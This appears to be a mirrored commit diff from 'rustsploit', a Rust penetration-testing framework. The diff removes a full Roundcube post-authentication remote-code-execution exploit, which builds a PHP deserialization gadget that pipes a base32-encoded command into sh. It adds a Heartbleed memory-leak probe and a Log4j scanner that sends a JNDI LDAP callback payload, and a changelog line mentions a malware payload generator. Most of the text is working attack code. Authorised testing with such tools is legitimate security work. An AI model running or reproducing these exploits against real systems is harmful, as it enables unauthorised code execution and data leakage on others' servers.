mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| acefb37cfa |
@@ -75,9 +75,6 @@ aes = "0.8.3"
|
||||
cipher = "0.4.4"
|
||||
flate2 = "1.0.30"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5.0"
|
||||
|
||||
#avanti
|
||||
url = "2.5.4"
|
||||
semver = "1.0.26"
|
||||
@@ -86,9 +83,6 @@ semver = "1.0.26"
|
||||
pnet_packet = "0.34" # Or the latest compatible version
|
||||
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
||||
|
||||
#pingsweep
|
||||
which = "8.0.0"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11.1" # required for use in build.rs
|
||||
|
||||
|
||||
@@ -48,12 +48,14 @@ rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added port scanner
|
||||
added ping_sweep network scanner
|
||||
added http_title_scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added log4j_scanner
|
||||
added heartbleed_scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
|
||||
+1
-1
@@ -163,7 +163,7 @@ Then:
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/ping_sweep
|
||||
rsf> use scanners/heartbleed_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
@@ -14,5 +14,4 @@ pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palto_alto;
|
||||
pub mod roundcube;
|
||||
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
pub mod roundcube_postauth_rce;
|
||||
@@ -1,215 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use data_encoding::BASE32_NOPAD;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use base64::Engine as _;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, cookie::Jar, redirect::Policy};
|
||||
use std::io::{self, Write};
|
||||
use std::sync::Arc;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use rand::distr::Alphanumeric;
|
||||
/// // Decode base64 constant for small transparent PNG
|
||||
fn transparent_png() -> Vec<u8> {
|
||||
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
|
||||
base64::engine::general_purpose::STANDARD
|
||||
.decode(PNG_B64)
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||
fn build_serialized_payload(cmd: &str) -> String {
|
||||
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
|
||||
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
|
||||
let len = gpgconf.len();
|
||||
format!(
|
||||
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
|
||||
len, gpgconf
|
||||
)
|
||||
}
|
||||
|
||||
fn generate_from() -> &'static str {
|
||||
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
|
||||
let idx = rand::rng().random_range(0..OPTIONS.len());
|
||||
OPTIONS[idx]
|
||||
}
|
||||
|
||||
fn generate_id() -> String {
|
||||
let mut rand_bytes = [0u8; 8];
|
||||
rand::rng().fill(&mut rand_bytes);
|
||||
let timestamp = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos()
|
||||
.to_string();
|
||||
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
|
||||
}
|
||||
|
||||
fn generate_uploadid() -> String {
|
||||
let millis = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_millis();
|
||||
format!("upload{}", millis)
|
||||
}
|
||||
|
||||
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
|
||||
if res.status() != 200 {
|
||||
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
|
||||
}
|
||||
Ok(res.text().await?)
|
||||
}
|
||||
|
||||
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].to_string())
|
||||
} else {
|
||||
Err(anyhow!("CSRF token not found"))
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].parse().ok())
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
|
||||
let token = fetch_csrf_token(client, base).await?;
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let mut params = vec![
|
||||
("_token", token),
|
||||
("_task", "login".to_string()),
|
||||
("_action", "login".to_string()),
|
||||
("_url", "_task=login".to_string()),
|
||||
("_user", username.to_string()),
|
||||
("_pass", password.to_string()),
|
||||
];
|
||||
if !host.is_empty() {
|
||||
params.push(("_host", host.to_string()));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(url)
|
||||
.form(¶ms)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Login request failed: {e}"))?;
|
||||
|
||||
if res.status() != 302 {
|
||||
return Err(anyhow!("Login failed: HTTP {}", res.status()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
|
||||
let png = transparent_png();
|
||||
let boundary: String = rand::rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(8)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
|
||||
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
|
||||
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
|
||||
body.extend_from_slice(&png);
|
||||
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
|
||||
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_query(None);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("_task", "settings")
|
||||
.append_pair("_remote", "1")
|
||||
.append_pair("_from", &format!("edit-!{}", generate_from()))
|
||||
.append_pair("_id", &generate_id())
|
||||
.append_pair("_uploadid", &generate_uploadid())
|
||||
.append_pair("_action", "upload");
|
||||
|
||||
client
|
||||
.post(url)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
|
||||
|
||||
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
// // HTTP client with cookies and no redirects
|
||||
let jar = Jar::default();
|
||||
let client = Client::builder()
|
||||
.cookie_provider(Arc::new(jar))
|
||||
.redirect(Policy::none())
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
if let Some(ver) = check_version(&client, &base_url).await? {
|
||||
println!("[*] Detected Roundcube version: {}", ver);
|
||||
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
|
||||
println!("[!] Version appears vulnerable!");
|
||||
} else {
|
||||
println!("[-] Version not in known vulnerable range.");
|
||||
}
|
||||
} else {
|
||||
println!("[?] Could not determine version.");
|
||||
}
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
let mut host = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut username)?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("Host parameter (optional): ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut host)?;
|
||||
|
||||
print!("Command to execute: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
let host = host.trim();
|
||||
let command = command.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Username, password and command must be provided"));
|
||||
}
|
||||
|
||||
login(&client, &base_url, username, password, host).await?;
|
||||
let serialized = build_serialized_payload(command);
|
||||
upload_payload(&client, &base_url, &serialized).await
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(443);
|
||||
run_with_port(target, port).await
|
||||
}
|
||||
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
_ => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target does not seem vulnerable (no heartbeat response).");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let mut random = vec![0u8; 32];
|
||||
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0002u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0033u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0039u16.to_be_bytes());
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0000u16.to_be_bytes());
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("Enter port (default 443): ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
use anyhow::{Result, Context};
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter URL or host to scan: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let host = input.trim();
|
||||
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let token: u32 = rand::thread_rng().gen();
|
||||
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
|
||||
|
||||
for scheme in ["http", "https"] {
|
||||
let url = if host.starts_with("http") {
|
||||
host.to_string()
|
||||
} else {
|
||||
format!("{}://{}", scheme, host)
|
||||
};
|
||||
match client.get(&url).header("User-Agent", &payload).send().await {
|
||||
Ok(resp) => {
|
||||
println!("[+] {} -> status {}", url, resp.status());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -4,3 +4,5 @@ pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod log4j_scanner;
|
||||
pub mod heartbleed_scanner;
|
||||
|
||||
@@ -2,51 +2,20 @@ use anyhow::{Result, Context};
|
||||
use ipnet::IpNet;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
use std::io::{self, Write};
|
||||
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
|
||||
|
||||
/// Main entry point for the RouterSploit auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let cidr = prompt_for_cidr(target).await?;
|
||||
execute_ping_sweep(&cidr).await
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
/// Prompt for a valid CIDR until received
|
||||
async fn prompt_for_cidr(initial: &str) -> Result<String> {
|
||||
// // Start with any provided value
|
||||
let mut input = initial.trim().to_string();
|
||||
loop {
|
||||
// // If empty, ask user
|
||||
if input.is_empty() {
|
||||
print!("Enter target (CIDR, e.g., 192.168.1.0/24): ");
|
||||
io::stdout().flush().ok();
|
||||
input.clear();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
input = input.trim().to_string();
|
||||
}
|
||||
// // Try to parse as CIDR
|
||||
match input.parse::<IpNet>() {
|
||||
Ok(_) => return Ok(input),
|
||||
Err(_) => {
|
||||
eprintln!("[!] Module failed: Use CIDR notation like 192.168.1.0/24\n\nCaused by:\n invalid IP address syntax");
|
||||
input.clear();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Executes a ping sweep across the provided CIDR subnet
|
||||
pub async fn execute_ping_sweep(target: &str) -> Result<()> {
|
||||
// // Parse the target as CIDR (e.g., 192.168.1.0/24)
|
||||
let net: IpNet = target.parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||
// // Collect all host IPs in the subnet
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter CIDR range to sweep: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||
let hosts: Vec<IpAddr> = net.hosts().collect();
|
||||
// // Use a semaphore to limit concurrency to 50
|
||||
let semaphore = Arc::new(Semaphore::new(50));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
@@ -54,9 +23,7 @@ pub async fn execute_ping_sweep(target: &str) -> Result<()> {
|
||||
let sem = semaphore.clone();
|
||||
let ip_str = ip.to_string();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// // Limit concurrent pings using the semaphore
|
||||
let _permit = sem.acquire_owned().await.unwrap();
|
||||
// // Use "ping" for IPv4, "ping6" for IPv6
|
||||
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
|
||||
let result = timeout(
|
||||
Duration::from_secs(3),
|
||||
@@ -65,7 +32,6 @@ pub async fn execute_ping_sweep(target: &str) -> Result<()> {
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
// // If ping succeeded, print that the host is up
|
||||
if let Ok(Ok(out)) = result {
|
||||
if out.status.success() {
|
||||
println!("[+] Host {} is up", ip_str);
|
||||
|
||||
Reference in New Issue
Block a user